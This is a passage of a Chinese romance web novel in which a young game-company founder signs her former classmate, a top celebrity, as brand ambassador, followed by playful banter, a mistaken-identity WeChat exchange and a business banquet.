“你还挺善良的呢。”盛愿冷哼了声,“把它扔下六年不管不问,现在回来了也一点不想负责是吗?”
阴阳怪气的口吻,话里透着弦外之音,听得卓然费解又无语。分明是他先装不认识,现在又干什么来质问她?
但对盛碰瓷,卓然的确心有亏欠,有意弥补,偏偏盛愿又不缺养猫的那点花销。
她拧眉沉吟,“那你以后不在家了,把它放我这照看?”估计有他女朋友,也轮不到她。
怎料,盛愿眸光愈发寒沉,“我不在……谁稀罕再见到你?”
不稀罕再见到她?卓然被他气到一度失语,“那还把我房间调到你隔壁做什么?”
“……”
盛愿表情滞住一瞬。
卓然也怔住了,话说出口才觉有点懊恼,总有种得了便宜还卖乖的不地道,真是被他气糊涂了。
她抿了抿唇,“抱歉,我不是那个意思。”
“我知道啊。”盛愿又恢复不着调的语气,眼神直白盯着她,还一脸了然似的。
卓然:“……?”
然后就见,这人长臂慢悠悠地搭到她椅背上,缓缓倾身凑过来,眉眼间似笑非笑:“不就是嫌隔壁不够近便,想直接住进我房间么?”
“……”
就看光两次他上半身,也不用总重复提醒吧。
卓然推门下车。没想到,老远瞧见顾燕京等在她家门口,走近,“你怎么来了?”
“还不是你昨晚那通电话?结果刚刚打电话又不接。”顾燕京没好气地催促道:“快开门,先让我进去喝口水。”
盛愿抱着盛碰瓷走在后面,掏出手机,刚想跟容横询问隔壁A室的门锁密码,忽见卓然拿出两双拖鞋后,还在对着鞋柜找拖鞋。
他貌似意识到什么,于是脚尖一转,慢悠悠走到B室门口,闲闲散散地要求道:“挑双鞋底软的啊。”
顾燕京有洁癖,穿了最后一双一次性鞋套。这会,卓然正对着几双旧棉拖挑挑拣拣。
本来还觉得有点怠慢,等听完他这话,干脆随手扔出去一双。
她转身进厨房,走到一半被叫住:
“你家就没备双男士拖鞋?”
盛大顶流仍杵在门外,盯着地上那双小他脚一圈的芭比粉色棉拖,满脸黑线。
还特么的有两只毛茸茸的兔耳朵!
“没有,你凑合穿吧。”平时家里很少来男人,卓然回国后就没着急添补。
某人拖腔带调“哦——”了声,嘴角微不可见地翘了翘:“那行吧。”
米色鞋柜上摆着一瓶蓝风铃,一串串小风铃似的花朵,无风自动。
7. 重逢篇
卓然在厨房忙活有大半钟头。
做了咕咾肉、盐焗波士顿大虾,白灼秋葵,鱼子酱沙拉。懒怠煲汤,简单榨了酸甜果汁,添加奇亚籽、核桃仁等坚果,开胃又清肠。
临近晌午,总不好真将两人赶走。反正她自己也要做饭,索性多加两道菜。
结果一进饭厅,就瞧见两个大男人,正心安理得地等在餐桌旁。
哦,还有那只两面派的猫:“喵——”
卓然将餐盘安稳放到桌上,面无表情看向顾燕京,“不是说喝口水就走吗?”
“这可不赖我,是他先不走的。”顾燕京指着旁边,告小状:“一闻着你这的饭味,他都馋得要哭出来了。”
盛愿斜他一眼,倒也没出声反驳。
就是吧,撸了把猫屁股,迅速蹭到顾燕京的手上——
“艹,你恶不恶心!”
重度洁癖患者,当场就炸了。
几乎是一跃而起,以180迈速冲进洗手间。
等再回来时,顾燕京远远坐到盛愿的斜对面,满脸写着“莫挨老子!”
卓然淡漠旁观这场闹剧,转而又问盛愿,“那你大周末留这了,你家那位就没意见?”
“我、家、那、位?”盛愿缓缓重复道,思忖片刻,他慢慢琢磨过来:“你是问苏渔啊?”
他以手支头,慵懒玩味地端详着她,一脸“你吃醋了”的戏谑。
“……”
她管他是酥鱼还是水煮鱼呢?
作为知情人,顾燕京乐得在旁边看热闹,笑得别提多解恨了。
盛愿斜他:“笑毛线啊?”
顾燕京:“我哮喘。”
“……”
“唉算了,我大人有大量,帮他澄清下吧。”顾燕京告诉卓然:“苏渔是他那合伙人的妹妹,小姑娘整体傻乐傻乐的,他哥怕她被别人骗走,就搁盛愿眼皮子底下当助理呢。”
卓然拌沙拉的筷子一顿。
“咳咳!”蒙受不白之冤的某人,故意清了清嗓子。
卓然沉吟两秒,语气软上几分:“喝不喝三鲜菌菇汤?”
盛愿板脸拒绝:“不喝!”
十五分钟后,某人连喝两碗鲜香味美的热汤,一喝一个不吱声。
飘散出来的鲜虾味,诱得盛碰瓷一个劲扒拉他筷子,他是理都不理,馋得大胖橘又开始“嘎吱嘎吱”嚼空气。
连续数日的狂风阴雨终于消停,乌云散去,水洗过的蓝天宛若新生。
*
吃饱喝足后,三人坐到客厅沙发处围炉煮茶,顾燕京撮合着主动提及代言一事。
代言人形象这一part可以直接略过,整个内娱再找不到比盛愿更合适拍摄的人选了。
关键是代言费。
不过在这之前,卓然尚有担心:“给我们公司代言,会损害你的形象定位吗?”
昨晚吕岩说过,给初创小公司代言相对于自降咖位,会被同行瞧不起。
盛愿姿势散漫地靠在沙发上,撸猫的手微顿。
他掀起眼皮,凝视她约有3、4秒,才漫不经意似的勾起唇:“不会。”
“我又不是傅禹那种十八线的小白脸。”
“……”
事关工作,卓然没再跟他怼,“OK,那就谈谈代言费吧。”
“正常市价,每两年两千多万是吧?”顾燕京适时搭话。他知道,以卓然那要强的性子,大概率拉不下脸面来要折扣。
但巧了,他脸皮厚啊:“看在吃人东西的份上,你给个实在价。”
不巧,盛愿脸皮更厚:“我可以吐给你看。”
“你滚!”
顾燕京恶心得想拿抱枕砸他,考虑到有求于人,终又好声好气商量:“说正经的,看我面上给个友情价。”
盛愿淡淡瞥他一眼,重新看回卓然,静静看着。
窄长内双的弧形琥珀眸中,比起先前的桀骜,多了一抹深沉。
顾燕京对他这副欠揍的拽样,早已见怪不怪。
但以卓然对盛愿的旧识,感觉他情绪似乎不对。
不过好多年没见,人都会变,尤其娱乐圈内说话真真假假的。
她没自恃熟人去试探,只公事公办地商量道:“如果不方便,就按市价来吧。”
站在盛愿的角度,工作室另有合伙人,他一个人不好独断,卓然完全理解。
从她的角度,虽然超高代言费会增加成本,但盛愿的商业影响力巨大。无需数据师评估,这笔买卖肯定稳赚不赔。
只是,“目前公司账上有600万,签完合同就能转给你。剩下的……等游戏后期回款了,再分期补给你成么?”
为彰显合作诚意,卓然补充道:“按市面的贷款利率。”
她说完,盛愿没立即答复。
他再一次凝视她许久,久到心大的顾燕京都察觉气氛微妙,不解看过来。
盛愿已低下头,面朝腿上的盛碰瓷,让人看不清他的神情,“你算得倒是清楚,不愧是理科状元。”
闻言,卓然眼睫也是微敛。
客厅莫名沉静下来,唯有炉上的紫砂茶壶在“咕咕”冒泡。
顾燕京提起茶壶给三人倒茶,有意活跃气氛,恰是哪壶不开提了哪壶:“哎对啊,你俩还是老同学呢。那你更得……”
“她的事,你总跟着掺和干什么?”
盛愿冷冰冰怼回去,目光徘徊在两人之间,似笑非笑地问道。
“因为我是白衣天使呗。”
顾燕京脱口答道,脸不红心不跳的。
“因为他会有分红。”
卓然无情拆穿他的鬼话。
蜜恋游戏公司,其实是家子公司。母公司华海科技集团,也是卓家的家族产业。
现任总裁是卓然父亲,近几年侧重开拓海外市场,常年居住在国外。国内的日常事务,交由卓然二叔打理。
华海科技主要深扎智能科学领域,会应用到临床医学仪器、智能医疗等方面。顾燕京的私人医院,作为长期合作的下游客户,也是智能医学实验的重要站点,与华海科技有5%股权置换。
而华海科技持有蜜恋游戏51%的股权,相当于顾燕京持有蜜恋游戏2.5%的利润分红。
只是话音刚落,卓然就忍不住皱眉。
她为什么要跟盛愿解释?
关他什么事!
盛愿欣赏着她一脸懊恼的表情,撩了撩眼皮,貌似有被爽到。
饶有兴致拆开一根金枪鱼肠,掰了截,引诱着酣睡中的盛碰瓷,闻着味被迫起身营业,表演了两把握爪爪。
被卓然回瞪了眼,他也不恼,边逗弄猫边道:“我晚点把合伙人微信发你。先转600,剩下400要不要利息得看他的意思。”
“北愿工作室”两人合伙,持股五五开。亲兄弟还要明算账,免费给老同学派代言的事,盛愿不好不顾及合伙人的利益、直接拍板。
但这,已经让顾燕京吃惊不已。他握住盛愿肩膀,“兄弟,你真给打五折啊?”
先前都是口嗨,他和盛愿的交情可省不了一千多万。本来想着抹个零头,或者帮着砍到1500万,就知足了。
虽然在他们圈子,省500多万算不上大钱。但对于很多人来说,可能一辈子都赚不到。
旁边,卓然刚端起茶杯,也怔了瞬。
目光落在白雾袅升的紫砂茶杯上,不经意想起曾听过的茶道之语。
茶道如人生,细品方知味。如君子般韵味深长,每一口都是岁月的沉淀与回享。
她眼珠缓缓转向盛愿,“折扣太低,你不好跟合伙人交代吧?”
“你猜。”盛愿闲闲地卖起关子。
……这她哪猜得出来?
不过看他都有闲心吊她胃口,这事肯定是十拿九稳。
顾燕京唯恐夜长梦多,“择日不如撞日,我这有他合伙人微信,直接推给你。”
卓然放下茶杯,查收合伙人的微信名片,微信名就是其本名:“安北河……”
盛愿意外看她:“还有印象?”
卓然点头,“文科火箭班的那个。”
安北河也是盛愿高中时的好兄弟。高三文理班不在同一栋楼里上课,平时见面不多。但他们一起聚过餐,去过欢乐谷鬼屋,卓然有印象的。
一旁,顾燕京耐人寻味地瞧着他俩之间的眉眼官司。
就这,还八竿子打
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不着的一同学?
*
周日下午的闲散时光,就在四溢的茶香中,悠悠荡荡。
一人饮茶,神清心宁;二人享用,意趣横生;三友小聚,味中寻韵。
将近傍晚,医院临时接到重大手术,顾燕京被紧急叫回。
卓然忍痛割爱,起身到厨房翻找出意大利手工巧克力。总共三罐,给他拿上两罐。
顾燕京不忘跟在她身后碎碎念,千万别再疲劳用眼。
盛愿想起车里正好有箱没拆的米稀,匆匆出门,也一并给顾燕京拿上。
医生做一台重大手术,往往要持续几个甚至十几小时。高度聚精会神,很消耗体力。带点小而美的高热量食物,方便充饥。
顾燕京被小小感动一把,熟练而迅速地启动车子。
盛愿隔着车窗相送,忽而回想起“告小状”那茬,不忘闲闲地补刀:“不瞒你说,那米稀礼盒被盛碰瓷的……坐过。”
“信不信我撞死你?!”
顾院长气得哟,差点一并躺到手术台上。
卓然这边,终于送走俩坑货,又挠了挠堆在沙发上的盛碰瓷,起身收拾餐桌和厨房。
将锅碗瓢盆一齐扔进洗碗机后,她先添加安北河的微信好友,没得到立即回复。
转而给助理孙蓓蓓发消息:[周末好好休息吧,下周跟北愿工作室签合同]
随后放下手机,清理灶台上的水渍。
大脑中习惯性盘算起项目营收情况。
启用盛愿当代言人,广告营销成本这一项翻倍,她下周需要跟集团作材料汇报。
华海科技集团的盘子很大,牵涉多方利益。所以卓然虽身为“皇太女”,也不好任性申报预算。
不过这次,卓然一点都不担心。
之前傅禹的粉丝量刚到两千万,而作为亿万少女的梦中情人,盛愿的粉丝基础比傅禹的5倍还多。
下周预测出的投资回报率,肯定只多不少,足够堵上集团那些人的嘴。
想到这,卓然不禁会心一笑。
“蜜恋男友”是她在英国的本科毕设,也是她回国后第一个独立负责的项目。
感性来讲,它就像她的第一个孩子,欣然见证它一路成长。
理性来论,她作为父亲唯一的孩子,这次的创新性项目赢得漂亮,才能一举震慑到集团高层的那几个老古董。
“叮叮叮——”
孙蓓蓓连发来3条微信语音。
卓然抽出一只手,想语音转文字。
不巧手指沾了水,意外滑成外放:
“啊啊啊啊!我是在做梦吗?”
“老大,祖宗,你真的拿下盛愿啦?”
“那脸蛋,那身材,我能舔一辈子!”
卓然:“……”
她发语音警告这个花痴女人:“你这就贪心了啊。不能既图男人赚钱,还贪图他的脸。”
卓然本意是让孙蓓蓓在后续对接北愿工作室时,拿出专业的公关态度。不过粉丝痴迷偶像也无可厚非,所以她采取了较为诙谐的语气。
话音刚落,身后突然想起一道男声。
声量不大,嘲弄十足:“啧。”
卓然下意识寻声看去。
后知后觉,盛愿不知何时去而复返。
他单手托着一坨盛碰瓷,倚在橱柜转角,两条长腿交叠着,澄亮琥珀眸溢满别样的光。
卓然心里咯噔一声。
他什么进来的?
不会全听见了吧?
不会那么凑巧吧?
不等她开口试探,盛愿轻抬下巴,“还说没觊觎哥的美色?”
……好吧,又被他装到了。
“你怎么走路没声?”
“……我特么地还想问你呢!”
盛愿凉凉看着脚上那双毛茸茸的厚底拖鞋,43码的脚后跟悬空在外,“给你省那么多钱,我还不配在你家拥有一双男士专属拖鞋?”
卓然看着卡哇伊的兔耳朵,不厚道地低笑了声,“盛家老宅离这边十万八千里的,你一年能来几次?”
盛愿意味不明地瞧着她,而后,吊了郎当来了句。
“那谁说得准呢?”
8. 重逢篇
西边晚霞渐隐,却给大地留满清甜。
淡淡暖光自苍穹流淌下来,像自然馈赠的温柔蜂蜜。
得知安北河还未通过卓然的好友申请,独自回家的路上,盛愿给他拨出一通视频电话。
安北河刚为盛愿谈妥一个德国顶奢代言合作,还在倒时差。
雾蓝色大床上,他靠着山水画背景墙,乌黑卷发忪乱,温润嗓音微哑:“啥事?”
“想你了。”盛愿脚步轻快地下车进家门,边换棉拖边道:“想看你气得跳起来,又打不到我的样子。”
“……”
安北河按按额角,头大的他,并不想跟这货说话。
盛愿不以为意,将手里端的盖浇饭碗放进微波炉里加热,又把手机竖在高级灰色餐桌上,双腿交叠地靠上去,说起“蜜恋男友”代言的事。
“1000万说没就没了?代言那些超一线高奢,都没见你这么大方过。”安北河盯着这个败家子,一个头两个大了。
“这1000万算我的,你把那400万的利息给她免了就行。”盛愿轻描淡写地说。
安北河斜一眼屏幕,冷笑不语。
他掀开被子下床,到洗手台刷牙。期间,他将摄像头对准洗手台上的半身镜,镜子里映照出盛愿的脸,“看见了吗?”
“看见了啊,哥长得天生丽质呗。”
“你再好好看看。”
“哥长得比你帅。”
“……快看看你那一脸不值得钱的样子吧。”
安北河被他气的,简直头疼到爆炸:“你自己倒贴就算了,凭什么还得搭上我的利息?”
别说400万的利息不是个小数目,就算是一块钱钢镚,这世上能从安北河手里抠出来的人,都屈指可数。
“就凭你妹败坏我形象。”
微波炉“叮”得一声,盛愿端着盖浇饭坐回餐桌旁,扔进嘴里一块红烧肉嚼了嚼,“让人误会我是她男朋友。”
安北河和苏渔是重组家庭,相差三岁,一对没有血缘关系,却又很亲密的兄妹。
没人比他更了解苏渔,“这话你自己信吗?”
眼见这个不省心的败家子夹起第三块红烧肉,安北河皱眉提醒:“热量超标了。”
“特意挑瘦肉给哥做的,不胖脸。”盛愿挑衅着又扔进嘴里一块。
“……谁这么好心?你抢来的吧。”
“瞎说。是她非得上赶着给我,不要都不让我出门。”其实是抵押盛碰瓷换来的。
安北河信他个鬼,“为了几块红烧肉,有些人真是连脸都不要了。”
“还有盐焗虾呢。”盛愿夹给他看。
“………………”
盛愿调整好摄像头角度,开始贴脸剥虾,“有些人呐,吃不到葡萄就非得说葡萄酸。”
这会,安北河已经转移到水吧台,萃取咖啡的动作微顿。
他侧脸看向台面的手机,目光染上深意:“不再等等那个答案?”
盛愿玩世不恭的神情微变,挪开眼左右环顾着,“等我的人能绕地球三圈,哥还用得着等?”
安北河笑而不语,一脸“我就看着你编”的表情。
盛愿就见不惯他这幅老神在在的表情,不客气地回怼:“北河,就算不知道答案也得蒙C啊。一味苦等,最后只能交白卷。”
闻言,安北河笑意一僵。
水吧台上的深口细花瓶里,插着一束粉白相间的洋桔梗花,簇簇繁茂,朵朵馨香。
他幽黑的瞳仁慢慢定格在其上,唇角勾出点点苦涩。
洋桔梗的话语,有着两重截然不同的含义——
永恒的爱,和无望的爱。
*
有了盛愿的提(骚)醒(扰),安北河当晚就与卓然达成初步合作意向,并表示不收那400万的利息。
游戏的前期研发要投入大量资金,她为创建蜜恋几乎掏空积蓄。需要等明年元旦,正式开服上架,才能资金回流。
如今正在“蜜恋游戏”资金吃紧的时期,北愿工作室这波操作,无疑是雪中送炭。
然而,人家愿意不收是情分,卓然坚持偿还是本分。她让财务在代言合同中拟出这项债务条款,约定明年Q1季末偿清。
不知有意无意的,盖过章的合同,是由苏渔送来了蜜恋游戏的写字楼。
诚如顾燕京所说,小姑娘见谁都乐呵呵的,一派天真,还是个孩子心性。
当苏渔得知——“蜜恋男友”游戏不仅有霸总、教授、明星、医生、滑雪教练5种NPC人设,还有机会获赠一个仿生机器人。
“哇塞!我又能拥有新老公了吗?”
“还能走进现实,太幸福了叭!”
“嘿嘿,我这个始乱终弃的女人。”
嘴上说着不好意思,她两只小手兴奋搓到飞起。
卓然忍俊不禁,将带有微信二维码的名片递给她,“这么感兴趣的话,来参加我们的内部测试吧。”
“好呀好呀。”
苏渔笑嘻嘻离开。
卓然也收拾东西下班,临到家门口,新奇地发现有搬家公司往隔壁倒腾家具,像是屋主人要搬过来住。
要知道,自从她回国再住进来,隔壁的黑色防盗大门从未打开过。
据物业说,这房子被二手转卖五六年了,可就连他们都鲜少见过新的屋主人,“也是稀罕。咱这茗景庄园是老小区,不保值又不能投资,买了还不住,您说这人图啥?”
谁知道呢?
卓然顺手打开小区的业主群,刚巧有人在谈论这事。
貌似有位小姐姐撞见了本尊:[他戴口罩,我就瞟到了眼睛,但已经巨巨巨巨巨帅了!]
能有多帅?
卓然不以为意摇摇头,反正最帅的那一个,已经被她分期付款“买”了下来。
没多久,微信底部冒出一个小红点。
“sy”请求添加您为好友。
头像是广阔湛蓝的海天一线。
没有备注。
卓然今天只给过苏渔微信名片,名字拼音也能对上,那这sy肯定就是苏渔了。
她再没多想,通过验证后,指尖轻盈地敲击屏幕,将“新老公”的内测试玩链接分享过去。
对方却没有预期中的激动欣喜。
[sy:?]
卓然想了下,简明扼要发出暗号——
[老公]
她自认已经解释清楚,随后坐进一楼书房,继续加班。
窗外落日熔金,逐渐天黑。书桌上光控灯自动点亮,满室黄色柔光。
卓然转动两下肩颈,起身喝水,手机恰巧“叮”了声。
[sy:啧]
[sy:这可不是谁想叫就能叫的]
这话说得也没毛病,游戏充值才能享有“老公”。不过内测免费,卓然估计小姑娘是不知道。
[灼燃:这次情况特殊,可以免费]
[sy:……]
[sy:想得美]
[sy:你贴钱叫都得排队]
游戏公司常靠玩家氪金来赚钱,“蜜恋男友”被说成“贴钱叫老公”,卓然仍没觉得有何不妥。但这语气……
[灼燃:这事光靠说没用,实践出真知]
[灼燃:你先测试一回感受下吧]然后就能明白了,内测不用贴钱,也没有排名竞争。
[sy:呵,行啊]
[sy:这种事要测试就当面测,我现在开车过去还是你过来?]
?
这是单人游戏,用不着两人双修啊。
[灼燃:你哪步骤不会]
[灼燃:需要我教你?]
[sy:……]
[sy:用不着,男人都无师自通]
[灼燃:都?]
[灼燃:那我估计你不行]
[灼燃:一晚上玩太多次,耗精气]
[sy:说谁不行呢!]
怎么还急眼呢?
卓然皱眉,那小姑娘长相乖乖巧巧,没想到微信上说话这么顶。
不过看在安北河的面上,她还是礼貌回复了句:[你觉得行就行吧]
结果对面更气了。
[sy:……]
[sy:……]
[sy:不要我觉得,我要你觉得]
“……”
卓然也挺无语,直接关掉微信,继续加班忙工作。
没多久,微信又弹出消息。
[sy:你刚在说这游戏?]
[灼燃:不然呢?]
卓然啼笑皆非,这“小姑娘”刚刚到底误解成什么,还兴致勃勃地要大晚上开车来找她。
总不能为了炫耀车技吧?
*
之后代言的事就顺利多了,周三晚上8点,“蜜恋”正式官宣品牌形象大使—
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—盛愿。
竖向海报上,盛愿的帅照稳居C位,5个“蜜恋男友”环在四周,打造出一场惊天靓丽的视觉盛宴。
北愿工作室随即转发微博,给予回应:携手共进,闪耀未来。
粉丝“元宝”们,纷纷热烈响应:
[哎呀嘛,我老公真来送老公了]
[赢了还送仿真老公?]
[那我高低得玩玩,谁都别跟老阿姨抢啊(狠狠点烟)]
[爱情照进现实?这游戏怪懂事的]
[那是,我盛哥出品必属精品!]
[支持盛哥,支持蜜恋]
原本只有几百浏览量的微博,迅速飙升至10万+。
只不过评论区吧,大楼越盖越歪:
[不懂就问,能送代言人吗/合掌]
[我也想要]
[想要+1]
[想要+10086]
[那我也举手!]
[???代言人哪里领哇/色/色]
[蹲蹲蹲蹲蹲蹲蹲]
……
卓然加班之余打开微博,被盛愿这些小迷妹的神发言,逗得忍俊不禁。
晚9点,她关掉电脑,准备叫车回家
刚走出办公室,就被同在加班的研发部员工蜂拥围住——
“老大,咱代言人请了盛愿?你这保密工作做得太好了吧!”
“啥时候也请顶流来咱公司坐坐?”
“没空过来,发点签名照也行呐。”
“至少得人手一张吧?嘿嘿!”
“一张不够啊!我老婆,我兄弟的妹妹,我隔壁家的王二姨,都来组团轰炸我啦……”
“蜜恋”办公室,秒变粉丝后援会。大伙激动得,一双双眼睛恨不得冒绿光。
乍一看,卓然以为自己掉进了狼窝。
“Wendy在对接代言,你们去找她。”
卓然边往外走边道。用手指头想都知道,要是由她亲自开口,某些人的尾巴指定得翘上天。
“我去,微博热度飙升到100万了!”
突然这时,有个IT小姑娘看着微博页面,惊呼:“刚刚明明只有20万的!我我我我去,110万!130万!160万啦!还在涨,还在涨啊啊啊啊啊……”
“什么情况,真假?”
起初,大伙没反应过来。
有个小伙子特淡定地刷开自己的微博,准备教她做人,“肯定是你手机出bug………我我我我卧槽!是顶流帮咱转了微博!”
其他人也接连欣喜若狂,不能自已:
“顶流竟帮咱们免费转了微博?!”
“这一下子至少省了10万块吧?”
“有点出息好吧?顶流的广告位至少百万起步!”
“他还@了咱卓老大。”
“好羡慕哇!我也想被男神@”
“这可是盛愿耶!呜呜呜,孩子我要哭惹……”
一时间,办公室炸翻天,所有人都沸腾了!
卓然已行至门口,又诧异顿足,也掏出手机查看。
按合同约定,今晚只需北愿工作室转发微博,等到发布会当天再请盛愿发一条。
毕竟以顶流的影响力,微博就是明码标价的绝佳资源位,现在的“蜜恋”负担不起两条。
卓然一打开微博页面,数以万计的点赞、关注、评论……如潮水般呼啸而来——
她怔了怔。
这账号年初才注册,平时只当调研工具。唯一条内容,还是微博官方祝她生日快乐。
所以,这有啥可评论的吗?
点进评论区一看,1000多层楼祝她生日快乐。
可她生日是半年前的啊……
盛愿官宣的微博文案,很精致:
#蜜恋男友#从此烟雨落故城,一人撑伞两人行@灼燃
@蜜恋游戏@北愿工作室
他一连@3个账号,微博每行只显示24个字。
乍看上去,这话像是……
“这话看着怎么像对老大表白呢?”
有人发出一声感叹。
其他吃瓜群众,目光相继投向卓然。
原地空空如也。
卓然已先一步回了办公室,没开灯。
满室静谧。
如玉的月光透过玻璃,洒在落地窗前姑娘的卷翘睫毛上,浅浅摇动一池春水。
9. 重逢篇
卓然默了默,走到书桌前,打开电脑翻出剧本,找一句差不多的台词,随之转发微博:
#蜜恋男友#愿予你春夏秋冬,从此两手不再空@盛愿
@北愿工作室@蜜恋游戏
编辑时,还是怎么看都像官宣恋情。
为避免他粉丝误会,卓然从UI设计师那要来两张游戏界面的图片,示意这两句都是台词。
私下里怎么损都行,明面上绝不能给朋友惹是生非。
尽管如此,“盛愿官宣”词条,还是分分钟爆了热搜!
[我盛的隐婚妻:呜呜呜呜吓死宝宝了!速救心丸都已经掏出来了!还好还好]
[微博程序员家属:吓得我老公差点半夜加班,点开一看,又抱着我迅速躺平]
[盛宝永相随:虽说我也不想失恋吧,可对家都开始造谣盛宝是金针菇了……]
[盛宠盛哥:楼上,你是对家派的奸细吧?我男神一晚7次不倒,谁用谁说好!]
……
宣布代言的那篇微博,因为盛愿的随手转发,热度很快飙至千万!
卓然到家临近11点,刚进门,就接到祥泰广告公司陈总的电话。
对方态度简直是180度大转弯。
昨天催她们拍摄日程时,他眼睛还长在头顶呢。
今天:“我让他们连夜修改广告拍摄方案,绝对让‘蜜恋’广告,在业内一战成名!”
没多久,助理孙蓓蓓也激动到大半夜主动向老板汇报工作:“老大,你看微博了吗?看到了吗?!咱‘蜜恋’要鸡犬升天啦!!!”
“……”
卓然将手机远离耳边一米。
依然能听清孙蓓蓓的炸裂女高音:“你猜刚才谁联系我了?你绝对想不到——傅禹!”
“上周我跟他联系时,这人还犹豫不决。今晚,这人就跟狗皮膏药似的来舔我,问咱还缺不缺代言人,免费的都行……”
卓然静静听着,目光落在墙角处。
月初买的雪柳干枝,在这一天彻底绿叶繁茂,枯木逢春。
虽对这局面早有预料,但身临其境后,还是生出一种幼芽顶翻巨石的震撼。
她想,这就是成长的力量吧。
那个追梦少年,多年后真的如愿了。
*
今天,盛愿出席一场巴黎时装周。
从秀场门口坐上车,他即打开微博,瞧见了卓然的那两张配图,“真丑。”
还不如放两张他照片呢。
回酒店的车上,盛愿全程黑脸,冻得方圆十米都能掉冰渣。
苏渔坐在副驾驶,小心翼翼往后座瞟了一眼又一眼。
实在顶不住,给她哥发条微信求救。
过了会,国内传回的答复:[估计且得气不顺呢,你千万别去招他]
苏渔:可是不应该啊?
盛哥刚刚从“蜜恋”剧本中,精心挑选一句台词作为官宣文案。
人家卓总也精心回复一条,还特意说明是台词,划清界限,及时避免了粉丝的骚动。
这是好事啊。小姑娘努力活跃气氛:“盛哥,今天‘蜜恋’官宣真是太圆满啦!咱等会要不要庆祝下?”
盛愿:“……”
*
达成重大合作,蜜恋游戏、北愿工作室、祥泰广告公司,三方依例要一起坐坐。
“败火”太偏远,就近找了个酒店。
周日下午5点,盛愿说顺路来接她。
卓然走出家门才发现,世界裹上一层薄薄的白。12月初,迎来今年的第一场冬雪,空气清凛冰寒。
意外的,那辆黑色劳斯莱斯停在了隔壁的门口。
卓然走上前,坐到副驾,劳斯莱斯内暖气烘烘,她银丝圆眼镜上随即凝出白雾。
朦胧间,感觉后视镜里,有一双黑沉的视线在注视着她。
等白雾散去后,驾驶座上的人已随手启动车子,“你这眼镜看着度数不低。”
高三时,卓然是不戴眼镜的。
她淡淡嗯了声,并没多解释。
转而委婉提醒道:“我隔壁最近好像搬进来人了。”
盛愿:“是吗?然后呢?”
然后就不好再占用人家的车位。
卓然揉了揉眉心,“我跟人家还不熟,你如果下次再来,把车往我家门口挪挪。”
几秒后,盛愿学着她刚才的反应,也淡淡嗯了声,也没多作解释。
车子在雪地中平稳前进,音响淌出婉转的乐调,是Eason的《十年》。
十年之后
我们是朋友还可以问候
只是那种温柔
再也找不到拥抱的理由
情人最后难免沦为朋友
……
轻缓简洁的旋律,搭配力量十足的歌词,总会启人深思。
车窗外的碎雪还在下,七零八落。
苏渔就住在酒店附近,步行到地下停车场等他们,然后开盛愿的车去盛家老宅接回盛碰瓷。
她瞧见卓然下车后,就笑呵呵过来打招呼,然后不好意思地挠挠头:“卓姐,我不小心把你名片弄丢了,你还能再给我一张吗?”
卓然诧异:“加我的那人不是你?”
她边说边掏出手机,点开微信。
“不是我呀,我还没加上你呢。”
苏渔也愣了下,赶忙凑到手机旁,想一看究竟。
背后忽然伸来一只大手,闲闲地轻弹了她脑壳,“雪大了不好开车,你早去早回。”
“啊呀,我差点把这茬给忘了,还好盛哥你提醒我。”苏渔不做多想,接过钥匙就开车离开。
卓然还在原地探究,手指点击sy的朋友圈,对方仅是三天可见,页面比大马路上的雪都干净。
“sy名字首字母,会是谁呢?”
说话间,她若有所思看向盛愿。
“……”
盛愿挪开视线,先默默看向左边,又辗转寻到右边的电梯。
卓然眼睛也漫无目的看向别处,继续思考。
添加方式是通过小区的业主群,说明这人也住在茗景庄园。
最后,她又重新浏览聊天记录,越看越无语:“谁大晚上的这么无聊?”
无聊的人躲远两步,顿了顿,又慢慢挪近三步,清了清嗓子:“其实,我不是故意……”
“叮叮!”
卓然有电话打进来。
孙蓓蓓说话有气无力的:“老大,我也没想到大姨妈会是今天。吃完止痛药,还是直不起腰,等会恐怕赶不过去了。”
卓然稍作思量,“那就好好休息吧。”
“可你酒量不好,等会万一被灌酒该怎么办?”孙蓓蓓忧心问。
“是你酒量太好。”卓然宽慰她,“我酒量应对一般人也还行,你先……”
不远处,盛愿静静靠在车旁,眼睫微动。
*
苏渔不赴宴,孙蓓蓓临时也来不了。
最后,只有卓然两人乘电梯上楼。
祥泰广告的陈总已等在包厢。除了对接“蜜恋”广告的两个工作人员,他还带了妻子。
陈太太刚大学毕业不久,名副其实的娇妻了。一看到盛愿,小脸通红,据说是他的小迷妹。
双方寒暄后,她迫不及待询问:“盛、盛哥,我能……和你合张影吗?”
“当然。”盛愿娴熟而礼貌应道。
不同于对卓然的幼稚招惹,他与陈太太合照时始终保持一拳距离,唇弧淡淡的,边界感把握得很好。
但陈总透过手机镜头,看着娇妻身旁高挑帅气的男人,再瞟瞟自己的啤酒肚,心里不是滋味。
也不怪他,就连卓然面对沉敛起来的某人,也忍不住多看两眼。
盛愿今晚着装正式,蓝白点西装内搭白T,气质稳重又不会呆板,泛冷的骨感五官分分钟秒杀全场。
更绝的是,他将领带替换成了白金镶钻的胸针。
这是一款意大利小众品牌的飞鸟胸针,每颗细钻都经设计师亲手镶嵌,每年全球仅产出5件,每件都兼具了时尚巧思与绮丽故事。
故而,它更是地位与实力的象征。大家都是一个圈子的,明眼人懂的都懂。
陈太太只此一瞥,即满目艳羡。激动之余,忍不住合影连拍十来张,她有点不好意思,礼让道:“卓总,机会难得,你要不要也拍两张?”
卓然注意到陈太太的窘色,“我上周跟你一样,已经拍过好多张了。”
“是吗?什么时候?”某人专业拆台
陈太太等人纷纷看向卓然。
卓然一时被架在那,不得不回应。
她迟疑2秒,皮笑肉不笑地看向盛愿:“和我们公司集体合照时,盛哥不记得了?”
“哦——”
盛哥被叫美了,赏脸点头:“好像是有这么回事。”
“……”
“既然如此,那就落座吧。”陈总张罗道,变相阻断了某个男人在娇妻面前持续地散发魅力。
陈总为卓然拉开正东的座椅,全权出资的人,理应高坐主位。
“刚刚上楼的时候,卓总的胃貌似不舒服。”盛愿先一步走上前,自然从容地挡在卓然身前,“我来陪陈总喝两杯,如何?”
陈总愣住一瞬。
出发之前,秘书特意打探来的小道消息,说是盛愿近两年应酬时基本都是滴酒不沾。
陈总本来还挺可惜的,酒桌可是他的主场。现在,不免兴奋:“荣幸之至啊!”
卓然却是拧眉,主位要接受全桌敬酒,盛愿要帮她挡酒?
她用眼神询问,他从容一笑,端起酒盅转向陈总,待人接物比她老练得多。
有人英雄救美,卓然怎会不感激?
但见他一连七八杯白酒下肚,她眉心越拧越紧。趁人不注意,她小声寻问:“你确定要帮我挡酒?”
盛愿:“美得你,是我自己想喝。”
“……”
